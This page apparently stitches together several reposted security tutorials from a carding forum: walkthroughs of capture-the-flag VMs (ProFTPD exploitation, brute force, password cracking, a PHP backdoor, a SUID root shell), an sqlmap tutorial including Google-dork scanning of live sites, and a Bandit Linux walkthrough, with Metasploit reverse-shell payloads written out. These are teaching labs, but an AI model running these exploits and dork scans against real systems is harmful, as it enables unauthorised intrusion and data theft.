  • Vince Clarke can help you with the Fast Fashion.
  • The challenge isn’t over with root. The flag is something special.
  • I have put a few trolls in, but only to sport with you.
Penetrating Methodologies
  • Network scanning (netdiscover, nmap)
  • Abusing HTTP web Pages
  • Dictionary generating (password)
  • Exploit ProFTPD 1.3.5rc3 (Metasploit)
  • Dictionary generating (username)
  • FTP Brute-force attack (Hydra)
  • Find faith_and_devotion file
  • Post-exploit ProFTPD-Backdoor(Metasploit)
  • Get root access
  • Download password protected RAR file
  • Crack password (John)
  • Extract hidden text behind Image (ExifTool)
  • Decrypt the cipher (Enigma Machine cipher)
  • Tweet author
Let’s Start!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104

From its scanning result, I found port 21 and 80 is opened, lets explored them.
[Image: 2.png?w=687&ssl=1]
Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser. At first glance, we saw the following web page.  When couldn’t found something suspicious, so we try to check its source-code
[Image: 3.png?w=687&ssl=1]
Hmmm!! After exploring the source code page, I found the URL given for “Wikipedia” and it looks a little bit doubtful.
[Image: 4.png?w=687&ssl=1]
When I opened above mention URL, then we got a Wikipedia page for “violator (album)”. Might be the author has left this URL as a hint for password dictionary?
And at the end of this page, you will notice some tracklist written by Martin L. Gore. We copied all 9 music track title in the text file by deleting space between phases of the word and saved as dict.txt, so that we can use it later.
[Image: 5.png?w=687&ssl=1]
Since we have enumerated the ftp (ProFTPD 1.3.5rc3) was running in victim’s pc so we check its exploit in Metasploit and luckily I found ProFTPD 1.3.5rc3 was exploitable. Therefore I execute the following command to launch the attack against ftp to gain command shell of the victim’s machine.
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit

1
2
3
4

use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit

Booomm!! We got command shell of victim’s machine in our Metasploit framework and after then finished the task by grabbing the flag.txt file. Further, I execute the following command for extracting more information for post exploitation.
I love meterpreter session, therefore, firstly I had upgraded command session into meterpreter session and then move inside /home directory to identify user’s directories.
sessions -u 1
sessions 2
cd /home
ls

1
2
3
4

sessions -u 1
sessions 2
cd /home
ls

As we know home directory always holds some directories for the system’s users and here found 4 directories.
Since we have the dict.txt file generated above with the help of Wikipedia; let’s add these 4 names (af, aw dg, mg,) in a text file and saved as user.txt.
[Image: 6.png?w=687&ssl=1]
As we have created a dictionary for user-pass combination, so let’s use it for FTP brute-force attack. With help of the following command, we try to crack the password for FTP and successfully obtained two credential for FTP login.
hydra -L user.txt -P dict.txt -u 192.168.1.104 ftp
1
hydra -L user.txt -P dict.txt -u 192.168.1.104 ftp

[Image: 7.1.png?w=687&ssl=1]
With help of above credential, we logged into FTP as af and fetched faith_and_devotion from inside the path /home/mg.
ftp 192.168.1.104
user: af
password: enjoythesilence
get faith_and_devotion

1
2
3
4

ftp 192.168.1.104
user: af
password: enjoythesilence
get faith_and_devotion

[Image: 7.2.png?w=687&ssl=1]
After downloading the file in our local machine, we open it through cat command and notice given Lyrics. This could be some kind of hint which the author has left for us.
cat faith_and_devotion
1
cat faith_and_devotion

[Image: 7.3.png?w=687&ssl=1]
So I use Google to get closer to Wermacht (Wehrmacht) with 3 rotator as suggested by author to use. I found it something related to Enigma Machine cipher.
Conclusion: Might be the final flag has been encrypted by using enigma machine cipher and with help of faith_and_devotion file instruction we can decrypt that encryption.
[Image: 7.4.png?w=687&ssl=1]
Coming back to the meterpreter shell, then we move ahead and I found the configuration file of proftpd from inside /dg/bd/etc.
cd /home
ls
cd dg
ls
cd bd
ls
cd etc
ls

1
2
3
4
5
6
7
8

cd /home
ls
cd dg
ls
cd bd
ls
cd etc
ls

[Image: 7.png?w=687&ssl=1]
Then with help of cat command, we opened this file and notice the FTP listening port is 2121.
cat proftpd.conf
1
cat proftpd.conf

[Image: 8.png?w=687&ssl=1]
Then with help of the following command, we got proper tty shell of victim’s VM machine and check sudo permission for user:dg.
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su dg
policyoftruth
sudo -l

1
2
3
4
5

shell
python -c 'import pty;pty.spawn("/bin/bash")'
su dg
policyoftruth
sudo -l

Here you can observe the user: dg can run proftpd as root.
[Image: 11.png?w=687&ssl=1]
Then we ran the following command to check network status for all TCP port but couldn’t saw port 2121 at Listen state.
netsat -antp
1
netsat -antp

Then we ran proftpd with sudo then again check network status for all TCP port and this time found port 2121 at Listen state.
sudo /home/dg/bd/sbin/proftpd
netsat -antp

1
2

sudo /home/dg/bd/sbin/proftpd
netsat -antp

[Image: 12.png?w=687&ssl=1]
Thus we have forwarded the remote service at our local network to set-up TCP relay with help of below commands:
portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
1
portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1

Then quickly search for Metasploit exploit for ProFTPD and luckily found “ProFTPD-1.3.3c Backdoor Command Execution” as this module exploits a malicious backdoor that was added to the ProFTPD download archive.
Thus to launch the attack type:
use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set lhost 192.168.1.107
msf exploit(proftpd_133c_backdoor) > set rhost 127.0.0.1
msf exploit(proftpd_133c_backdoor) > set rport 2121
msf exploit(proftpd_133c_backdoor) > exploit

1
2
3
4
5
6

use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set lhost 192.168.1.107
msf exploit(proftpd_133c_backdoor) > set rhost 127.0.0.1
msf exploit(proftpd_133c_backdoor) > set rport 2121
msf exploit(proftpd_133c_backdoor) > exploit

Yuppie!! We got command shell session 3 with root privilege.
[Image: 13.png?w=687&ssl=1]
So we have root access of victim’s machine, therefore, let’s quickly get to the final flag, but as I told you that I love meterpreter session so let’s upgrade this command shell session also.
sessions -u 3
sessions 4
cd /root
ls

1
2
3
4

sessions -u 3
sessions 4
cd /root
ls

Here you will get a directory /basildon and a file flag.txt. By reading the flag.txt you will realize, it is not the original flag.txt file which author has asked to capture. Therefore we downloaded /basildon rar file in our local system.
download .basildon /root/Desktop/
1
download .basildon /root/Desktop/

[Image: 14.png?w=687&ssl=1]
It was a password-protected RAR file, that contains an image file and to extract this folder we required the password.
[Image: 15.png?w=687&ssl=1]
Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “rar2john”.
Syntax: rar2john [location of key]
rar2john crocs.rar > hash
1
rar2john crocs.rar > hash

Now let’s use John the Ripper to crack this hash with help of wordlist we have generated above.
john hash --wordlist=dict.txt
1
john hash --wordlist=dict.txt

So the password for crocs.rar is “World in My Eyes”; let’s open the folder and get the image “artwork.jpg”.
[Image: 16.png?w=687&ssl=1]
So we got below image of violator and I was pretty sure that it must be holding hidden message for the flag.
[Image: 18.jpg?w=687&ssl=1]
Thus we used ExifTool for extracting metadata from inside it. And after running following command we found the ciphertext. Let me remind you that, in above enumerated “faith_and_devotion” file we got some hint for Enigma Machine Cipher.
exiftool artwork.jpg
1
exiftool artwork.jpg

[Image: 17.png?w=687&ssl=1]
Copy the ciphertext and then open this

[To see content please register here]

for decrypting enigma and past the cipher. Then use faith_and_devotion text as instructions.

* Use Wermacht with 3 rotors
* Reflector to B
Initial: A B C
Alphabet Ring: C B A
Plug Board A-B, C-D
Hurray!!! We got the plaintext message. The message was “ONE FINAL CHALLENGE FOR YOU BGHX” and to get this final flag you can tweet the author.
[Image: 19.png?w=687&ssl=1]

Hello everyone. This article will focus on a category of sqlmap commands called the “target commands.” Many might not have tried these commands but they can be proved very useful in the corporate world.
In this article, we’ll be shifting our focus back on one of the finest tools for SQL penetration testing available called SQLMAP.
This tool comes inbuilt in Kali Linux however you can download its python script from

[To see content please register here]

too.

Since it is a crime to attack a live website, we are restricting our focus on the websites that are made for this testing purpose only. We have also used a local PC with SQL dhakkan installed in it. You can refer to the

[To see content please register here]

published earlier to get an idea on how to configure dhakkan in your machine too.

So, without further ado, let’s dive in.

[To see content please register here]


1

[To see content please register here]


[Image: 0.png?w=687&ssl=1]
First and foremost, I configured SQL dhakkan in a machine with IP address 192.168.1.132. I go to the lesson 1 tab for error based SQLi.

[To see content please register here]


1

[To see content please register here]


[Image: 1.png?w=687&ssl=1]
Target URL
One of the most basic commands ever. Every database has a webpage and every webpage has a URL. We will attack these URLs to get our hands on the database inside!
By adding  ‘-u <URL>’ in sqlmap command we can specify the URL we are targeting to check for SQL injection. It is the most basic and necessary operation.
Here, let’s fetch all the databases that IP address 192.168.1.132 might have by suffixing –dbs
sqlmap -u

[To see content please register here]

--dbs

1
sqlmap -u

[To see content please register here]

--dbs

[Image: 2.png?w=687&ssl=1]
Now, all the databases available in the given IP have been dumped!
[Image: 3.png?w=687&ssl=1]
Targeting Log File
Many tools save a log file to keep a record on the IP addresses communicating back and forth. We can feed one such log file to the sqlmap and it will automatically test all the URLs in that log file.
The log file can have a record of various targets in reality but here we’ll be capturing the request of a website in burp suite and then saving its log file for simplicity. Let’s turn on the intercept then.
[Image: 6.png?w=687&ssl=1]
Go to the website “leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1” and capture the request in a burp. It has an SQL injection lab installed over public IP for penetration testers.
[Image: edit%2B2.png?w=687&ssl=1]
The captured request will be something like:
[Image: edit0.PNG?w=687&ssl=1]


Now right click->save item and save this request as “logfile” on the desktop. No need to provide any extensions here.
[Image: 9.png?w=687&ssl=1]

Open the terminal and type in the following command to automate the attack from the log file itself.
sqlmap -l /root/Desktop/logfile
1
sqlmap -l /root/Desktop/logfile

[Image: edit%2B3.png?w=687&ssl=1]
Target Bulkfile
Bulkfile is a text file that has the URLs of all the target machines each in a single line with the exact URL of where the attack is applicable.
So, let’s create a bulkfile on the desktop called bulkfile.txt.
touch bulkfile.txt
sudo nano bulkfile.txt

1
2

touch bulkfile.txt
sudo nano bulkfile.txt

[Image: 11.png?w=687&ssl=1]
This will open up a command line text editor called ‘nano’. Let’s feed in some URLs.
To save the file: CTRL+O -> ENTER
To exit nano: CTRL+X
We are all set to attack both of these URLs together by the command:
[Image: 12.png?w=687&ssl=1]
sqlmap -m /root/Desktop/bulkfile.txt --dbs
1
sqlmap -m /root/Desktop/bulkfile.txt --dbs

[Image: 13.png?w=687&ssl=1]
We’ll get the list of databases and we can continue with our other URL.
[Image: 14.png?w=687&ssl=1]
Target Google Dorks
We can also automate the process of finding SQLi by adding in a Google dork target. What it does is that it will start searching for all the websites with given Google dork and automatically keep applying sqlmap on the websites that match the dork. Disclaimer: this attack will automatically be applied to any website that matches the dork, be it government or military, which is a serious criminal offense so it is advised that you play with it carefully.
As we know that error based SQL injections are often found in URLs having ‘.php?id=<num>’ in them, we can apply the inurl Google dork to find all the websites with this in its URL.
sqlmap –g "inurl: ?id=1"
1
sqlmap –g "inurl: ?id=1"

[Image: 15.png?w=687&ssl=1]
As you can see sqlmap has found a website with ‘?id=1’ in its URL.
I’ll be pressing n and canceling the sqlmap scan since it is a crime to do so.
We can also specify the specific page number on which we want to apply the Google dork at by the option “–gpage”
[Image: 15_0.png?w=687&ssl=1]
Target HTTP requests
An HTTP client sends an HTTP request to a server in the form of a request message which includes the following format:
  • A Request-line
  • Zero or more header (General|Request|Entity) fields followed by CRLF
  • An empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields
  • Optionally a message-body
The Request-Line begins with a method token, followed by the Request-URI and the protocol version, and ending with CRLF. The elements are separated by space SP characters.                       
Request-Line = Method SP Request-URI SP HTTP-Version CRLF
Hence, we can intercept these HTTP requests, save it in a text file and automate the attack with sqlmap.
[Image: 16.PNG?w=687&ssl=1]
I captured the request of the website “master.byethost18.com/Less-1/?id=1” in the burp and will save it in a text file called “httprequest.txt” and run the command:
sqlmap -r /root/Desktop/httprequest.txt
1
sqlmap -r /root/Desktop/httprequest.txt

As you can see that sqlmap has detected the target in the text file. We can further apply –dbs to fetch all the databases.
I hope that this article was helpful and the readers have learned some new options that they might not have heard about before. Many more options will be coming in the next articles. Keep hacking!
[Image: 18.png?w=687&ssl=1]

Today, we will play a war-game called Bandit. It has a collection of 34 levels.

[To see content please register here]

Organization hosts this war-game. Absolute Beginners are the target audience. It teaches the basics of most Linux commands in a fun and challenging way. To play this war-game, go to the Bandit website by clicking

[To see content please register here]

.

Get the solutions of other levels from below.

[To see content please register here]


[To see content please register here]


Objective
Find the password file. It will give us access to the next level.
Table of Content:
  • Level 0
  • Level 0-1
  • Level 1-2
  • Level 2-3
  • Level 3-4
  • Level 4-5
  • Level 5-6
  • Level 6-7
  • Level 7-8
  • Level 8-9
  • Level 9-10
  • Level 10-11
  • Level 11-12
  • Level 12-13
  • Level 13-14
Level 0
This is a pretty simple level. It teaches us to connect to a host using SSH. This is going to teach players the usage of SSH command.
We got the required information from reading the instruction page.
Host: bandit.labs.overthewire.org
Port: 2220
Username: bandit0
Password: bandit0
We used the above information to login using ssh as shown in the given image.
ssh [email protected] -p 2220
1
ssh [email protected] -p 2220

This level doesn’t require anything else other than logging in. Time to move in on the next level.
Level 0-1
Now, from the bandit0 shell, we need to find the password for logging as the next user. To find that password, we are going to list files in the directory. Our target is to find a file named readme. After finding that file, we need to read the password stored inside that file.
We use the ls command to list the files in the current directory. We found the readme file. Now to read the password we will use the cat command. After that, we are going to use the password to login into next level using SSH
ls -la
cat readme
ssh bandit1@localhost

1
2
3

ls -la
cat readme
ssh bandit1@localhost

[Image: 1.png?w=687&ssl=1]
Level 1-2
We are informed that the password for the next level is stored inside a file named -(hyphen). So, to find it we use the ls command. Now comes the part where we have to read the file. As the file is named -(hyphen) we won’t be able to read it simply by cat command. As cat command considers -(hyphen) as stdin/Stout. If we directly use cat command, it won’t be able to understand that hyphen is a file name. So, we will prefix the command with the path ./, This will help us to read the password stored as shown in the given figure. Since we found the password for the user bandit2. We will use it to get an SSH connection as bandit2.
ls
cat ./-
ssh bandit2@localhost

1
2
3

ls
cat ./-
ssh bandit2@localhost

[Image: 3.png?w=687&ssl=1]
Level 2-3
We are informed that the password for the next level is stored inside a file named spaces in this filename. So, to find it we use the ls command. Now comes the part where we have to read the file. As the file is named spaces in this filename, we won’t be able to read it simply by cat command. As cat command reads files name only until space as it considers space as null ‘/0’. If we directly use cat command, it won’t be able to find the file. So, we will write the name of the file in quotes, this will help us to read the password stored as shown in the given figure. Since we found the password for the user bandit3. We will use it to get an SSH connection as bandit3.
ls
cat 'spaces in this filename'
ssh bandit3@localhost

1
2
3

ls
cat 'spaces in this filename'
ssh bandit3@localhost

[Image: 4.png?w=687&ssl=1]
Level 3-4
We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again.  Now it might be the case that the file is hidden. So, we run ls command with -al parameter. It lists all files including the hidden one. And we found the .hidden file. In Linux, the file with a dot(.) in front of the name of the file makes it hidden. Now we would simply use the cat command to read the password stored in the file. Since we found the password for the user bandit4. We will use it to get an SSH connection as bandit4.
ls
cd inhere/
ls
ls -al
cat .hidden
ssh bandit4@localhost

1
2
3
4
5
6

ls
cd inhere/
ls
ls -al
cat .hidden
ssh bandit4@localhost

[Image: 5.png?w=687&ssl=1]
Level 4-5
We are informed that the password for the next level is stored inside a human-readable file. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. This gives us a bunch of files as shown in the image. We will use the file command to get the information about the files. From files command, we now know that the file07 contains ASCII text. It is mostly readable text. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit5.
ls -la
cd inhere/
ls
file ./*
cat ./-file07
ssh bandit5@localhost

1
2
3
4
5
6

ls -la
cd inhere/
ls
file ./*
cat ./-file07
ssh bandit5@localhost

[Image: 6.png?w=687&ssl=1]
Level 5-6
We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. This gives us a bunch of files as shown in the image. We will use the file size to find the file. Find command has the parameter of size in which we have to use ‘c’ for depicting size in bytes. From find command, we now know that the file2 contains the password. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit6.
ls
cd inhere/
ls
find . -size 1033c
cat ./maybehere07/.file2
ssh bandit6@localhost

1
2
3
4
5
6

ls
cd inhere/
ls
find . -size 1033c
cat ./maybehere07/.file2
ssh bandit6@localhost

[Image: 7.png?w=687&ssl=1]
Level 6-7
We are informed that the password for the next level is stored somewhere on the server. So, finding the file over the server would be a lot trickier if we are using ls. So, we will try to widen our scope of search using the find command. We are hinted that the user of the file is bandit7 and it is a part of group bandit 6. We will add this information as parameters in the find command. We are given the size too. Let’s add that too. Now as we can see in the given image, we successfully located the password file hidden over the server.
find / -user bandit7 -group bandit6 -size 33c
1
find / -user bandit7 -group bandit6 -size 33c

[Image: 8.png?w=687&ssl=1]
cat /var/lib/dpkg/info/bandit7.password
ssh bandit7@localhost

1
2

cat /var/lib/dpkg/info/bandit7.password
ssh bandit7@localhost

From find command, we now know that the bandit7.password contains the credentials. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit7.
[Image: 9.png?w=687&ssl=1]
Level 7-8
We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now we are hinted that the password is written next to the word millionth in the data.txt file. This means if we find the millionth word, we find the password. We are going to use the grep command for finding millionth. Here we using the (|) Unix pipe. The Pipe connects the standard output from the first command and feeds it as standard input to the second command. In our case, first cat command reads the file and then the data inside the file is sent to grep command to work on. This gives us the password for the next level. We will use it to get an SSH connection as bandit8.
ls
cat data.txt | grep millionth
ssh bandit8@localhost

1
2
3

ls
cat data.txt | grep millionth
ssh bandit8@localhost

[Image: 10.png?w=687&ssl=1]
Level 8-9
We are informed that the password for the next level is stored inside a file named data.txt. It is hinted that the password is the only line of text that occurs only once. Here we are going to use sort command to sort the text inside the data.txt file. But still, the file contains a lot of repeating statements so we will use the uniq command to print the not repeating statement. We are using multiple pipes here to get a filtered result. This gives us the password for the next level. We will use it to get an SSH connection as bandit9.
cat data.txt | sort | uniq -u
ssh bandit9@localhost

1
2

cat data.txt | sort | uniq -u
ssh bandit9@localhost

[Image: 11.png?w=687&ssl=1]
Level 9-10
We are informed that the password for the next level is stored inside a file named data.txt. We are hinted that the password is followed by several ‘=’ characters. Now if we are to use the cat command our screen would be filled with unreadable mesh. So, to get a more refined approach we are going to use strings command which prints character sequences that are at least 4 characters long. And to get to the exact location of the password, we are going to use grep. This gives us the password for the next level. We will use it to get an SSH connection as bandit10.
ls
strings data.txt | grep =
ssh bandit10@localhost

1
2
3

ls
strings data.txt | grep =
ssh bandit10@localhost

[Image: 12.png?w=687&ssl=1]
Level 10-11
We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now, we are hinted that the password is encrypted in Base64. Now we can either read the file with cat command and decode the Base64 manually but we have a command in Linux that can do the heavy lifting for us. So, we use piping to use cat command and base64 command with d parameter to read and decode the text simultaneously.  This gives us the password for the next level. We will use it to get an SSH connection as bandit11.
ls
cat data.txt | base64 --decode
ssh bandit11@localhost

1
2
3

ls
cat data.txt | base64 --decode
ssh bandit11@localhost

[Image: 13.png?w=687&ssl=1]
Level 11-12
We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now, we are hinted that the file containing the password has changed the format of letters in such a way that all the lowercase and uppercase letters have been rotated by 13 positions. If we can remember right that exactly what happens in ROT13 encryption. Now, to convert the text, we can use the ‘tr’ command. This command translates characters depending on the parameters provided. We used n-z and a-m because tr won’t continue to translate after the Z. This gives us the password for the next level. We will use it to get an SSH connection as bandit12.
ls
cat data.txt | tr a-zA-Z n-za-mN-ZA-M
ssh bandit12@localhost

1
2
3

ls
cat data.txt | tr a-zA-Z n-za-mN-ZA-M
ssh bandit12@localhost

[Image: 14.png?w=687&ssl=1]
Level 12-13
We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. We are hinted that the file containing the password is in the form of a hex dump. Just out of curiosity, let’s read the file using the cat command. As we can see in the given image that the password is not at all readable. We are also told that the password file has been repeatedly compressed. Now to decompress we are going to need a directory with read and write permissions. The tmp directory in root contains the required permissions.
ls
cat data.txt

1
2

ls
cat data.txt

[Image: 15.png?w=687&ssl=1]
So, let’s create a directory inside the tmp directory. Here we named it pavan. Now for further operations let’s copy the file in the directory we just created. Now let’s traverse to our directory using the cd command. Now we check if we have our file in this directory. Now to understand the type of file we are going to use the file command it returns us the type of file.  On running the command, we are informed that the file is ASCII text. But as we saw earlier that it is not readable. The xxd command is used in Linux to make the hexdump of a file. It is also used to reverse this process. Let’s use it to retrieve the original file. We are going to use the ‘r’ parameter to revert the process and provide it with a filename where it should store its output. Here we will name it data1
Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a gzip compressed file.
Now decompress first, we need to rename the file and provide it with a proper gzip extension. We are going to use the move command for this. We renamed the file as data2.gz. Now using the gzip command and -d parameter, we decompress the file.
mkdir /tmp/pavan
cp data.txt /tmp/pavan
cd /tmp/pavan
ls
file data.txt
xxd -r data.txt data1
file data1
mv data1 data2.gz
gzip -d data2.gz

1
2
3
4
5
6
7
8
9

mkdir /tmp/pavan
cp data.txt /tmp/pavan
cd /tmp/pavan
ls
file data.txt
xxd -r data.txt data1
file data1
mv data1 data2.gz
gzip -d data2.gz

[Image: 16.png?w=687&ssl=1]


  [Guide] How to Hack the Teuchter VM (CTF Challenge)
Posted by: NINZA - 05-14-2020, 09:14 AM - Forum: Carders Home - No Replies

This post is on the latest CTF challenge “Teuchter” presented by vulnhub for penetration practice and design by knightmare. This virtual machine is having intermediate to the medium difficulty level. One need to break into VM using the web application and from there escalate privileges to gain root access.
Download it from here:

[To see content please register here]


Penetrating Methodologies
  • Network Scanning (netdiscover, Nmap)
  • Abusing HTTP service for PHP extract backdoor
  • Compromise victim’s (Metasploit)
  • SUID Privilege escalation
  • Steganography for original flag.txt
Lets Start!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104

[Image: 2.png?w=687&ssl=1]
Knowing port 80 is open in the victim’s network I preferred to explore his IP in a browser. At first glance, we saw following web page.  When couldn’t found something suspicious, so we try to check its source-code
[Image: 3.png?w=687&ssl=1]
Hmmm!! After exploring the source code page, you can analysis the “Green color text” sounds a little bit doubtful. Giving priority to /gallery /flicks and /telly we have considered them as the subjective web directories and then try to explore it in the web browser.
Also, consider hint given for some extension like .pht for PHP.
[Image: 4.png?w=687&ssl=1]
So I opened the URL

[To see content please register here]

but couldn’t get anything neither from its web page nor from its source code.

[Image: 5.png?w=687&ssl=1]
Then explored the URL

[To see content please register here]

and it put-up following web page in front of us and at looking at its page source code we notice something like flicks phpinfo.

[Image: 6.png?w=687&ssl=1]
So without wasting time, we lunch directory brute-force attack on the following URL for identifying .php and .pht extension files.
dirb

[To see content please register here]

-X .php,.pht

1
dirb

[To see content please register here]

-X .php,.pht

[Image: 7.png?w=687&ssl=1]
And from its result, we find a phpinfo.pht file and explored it in the browser and it gives me an internal server error when I open it. So I search in Google phpinfo.php found this link:

[To see content please register here]


Thanks to Mr. Daniel B. Cid for sharing his experience because with help of above link we get the idea to exploit it. As the author has hidden the PHP extract backdoor inside the phpinfo.pht file and now whatever the attacker sends as “ctime” with “atime” as an argument it will be executed successfully.
As you can observe when we try to execute the system command “id” through the given below URL we got following result on the web page.
192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id
1
192.168.1.104/flicks/phpinfo.php?ctime=system&atime=id

[Image: 8.png?w=687&ssl=1]
Let’s compromise the victim’s VM to get the meterpreter shell, therefore, we load the Metasploit framework and execute below commands.
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.107
msf exploit(multi/script/web_delivery) > exploit

1
2
3
4
5

use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 1
msf exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.107
msf exploit(multi/script/web_delivery) > exploit

Copy the highlighted text for malicious PHP code and Paste it inside the URL as an argument.
[Image: 9.png?w=687&ssl=1]
You will get the meterpreter session of victim’s machine in your Metasploit framework and after then finished the task by grabbing the flag.txt file. Further type following for extracting more information for post exploitation.
Here first I sysinfo command to enumerate install kernel version but didn’t found any working exploit for this VM therefore then I decide to go with the manual approach for privilege escalation. Thus execute below commands:
cd /home
ls
cd proclaimers
ls
cd letterfromamerica
ls

1
2
3
4
5
6

cd /home
ls
cd proclaimers
ls
cd letterfromamerica
ls

Here I found two files semaphore and test and if you will notice at their permissions then you will realize that SUID bit enabled for semaphore and GUID bit is enabled for test.
[Image: 10.png?w=687&ssl=1]
Now let access proper tty shell of victim’s VM and enumerate furthermore inside it.
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

1
2

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

ooh!! I got something suspicious file a login.txt from inside /home/jkerr, and promisedyouamiracle.jpg image. And after reading the note of the login.txt file I decided to download jpg image in our local machine.
Since the python 3 is already running, therefore, we execute the following command for transferring file.
python3 -m http.server 8080
1
python3 -m http.server 8080

[Image: 11.png?w=687&ssl=1]
When we explored the promisedyouamiracle.jpg image in the browser we got the following photo.
[Image: 12.png?w=687&ssl=1]
With help of exiftool, we try to extract metadata from inside this image and luckily found the bas64 encoded text.
exiftool promisedyouamiracle.jpg
1
exiftool promisedyouamiracle.jpg

[Image: 13.png?w=687&ssl=1]
With the help of the following command, we try to decode the text and got “gemini” which could be a possible password.
echo "Z2VtaW5pCg==" | base64 -d
1
echo "Z2VtaW5pCg==" | base64 -d

[Image: 14.png?w=687&ssl=1]
Let try to login by using gemini as a password for user: proclaimers because it holds two important files. Execute the following commands and extract the information.
su proclaimers
password: gemini
ls
cd proclaimers
ls
cd letterfromamerica
ls -al

1
2
3
4
5
6
7

su proclaimers
password: gemini
ls
cd proclaimers
ls
cd letterfromamerica
ls -al

Oh Great!! As declared above SUID bit enabled for the semaphore and GUID bit enabled for the test, let’s use grep command to get everything related to semaphore.
grep -R "semaphore" /usr/local 2>/dev/null
1
grep -R "semaphore" /usr/local 2>/dev/null

Awesome, I got a script at this path /usr/local/bin/numpties.sh; let’s open it with cat command.
cat /usr/local/bin/numpties.sh
1
cat /usr/local/bin/numpties.sh

After reading it, I conclude that the cronjob will add the SUID bit to semaphore and also give root ownership to this file if the file exists.
[Image: 15.png?w=687&ssl=1]
No wonder, if I replace the original semaphore by the fake semaphore file then our fake file will get SUID permission. So in our local, we write a C-program to get bash shell and compile it.
include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
Int main ()
{
setuid(geteuid ());
system("/bin/bash");
}

1
2
3
4
5
6
7
8

include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
Int main ()
{
setuid(geteuid ());
system("/bin/bash");
}


gcc shell.c -o semaphore
python -m SimpleHTTPServer 80

1
2

gcc shell.c -o semaphore
python -m SimpleHTTPServer 80

[Image: 16.1.png?w=687&ssl=1]
Since we have compiled file semaphores and also running python server, therefore, let’s download our fake semaphore at the place of original semaphores. Thus first I removed original semaphores and download compiled file in the same directory.
rm -rf  semaphore
curl -O

[To see content please register here]


1
2

rm -rf  semaphore
curl -O

[To see content please register here]


After sometime when I checked the permission for the new semaphore I found the SUID bit was on. At that moment you should run the script which will give root terminal after getting executed and then look for flag inside /root directory.
ls -la
./semaphore
cd /root
cat flag.txt

1
2
3
4

ls -la
./semaphore
cd /root
cat flag.txt

[Image: 16.png?w=687&ssl=1]
This was not actual flag let’s try to get the original flag
cd root
ls
re-record-not-fade-away
ls -al
cd on
ls
cd and
ls
cd on

1
2
3
4
5
6
7
8
9

cd root
ls
re-record-not-fade-away
ls -al
cd on
ls
cd and
ls
cd on

So on………… and at last you will get /ariston which is holding a zip file “TeuchterESX.zip”.
cd ariston
1
cd ariston

[Image: 17.png?w=687&ssl=1]
Again run the following command in the current directory to transfer zip file.
python3 -m http.server 8080
1
python3 -m http.server 8080

[Image: 18.png?w=687&ssl=1]
Now download TeuchterESX.zip file in local machine and unzip it.
wget

[To see content please register here]

unzip TeuchterESX.zip
password: Teuchter

1
2
3

wget

[To see content please register here]

unzip TeuchterESX.zip
password: Teuchter

[Image: 19.png?w=687&ssl=1]
We got a vmdk file and further I run following command to the list of present drive for mounting disk image.
fdisk -l
1
fdisk -l

Here we saw /dev/sdb1 which looks good mounting disk image thus I install the vmfs-tools package.
[Image: 30.png?w=687&ssl=1]
So we have used vmfs-fuse to mount the drive and execute the following commands:
mkdir Teuchter
vmfs-fuse /dev/sdb1 /root/Desktop/Teuchter/
cd Teuchter
ls
cat hint.txt
cd redkola

1
2
3
4
5
6

mkdir Teuchter
vmfs-fuse /dev/sdb1 /root/Desktop/Teuchter/
cd Teuchter
ls
cat hint.txt
cd redkola

In this text messages the author had given hint to check ISO for getting the password which is related to TV advert and it’s of 25 characters.
[Image: 31.png?w=687&ssl=1]
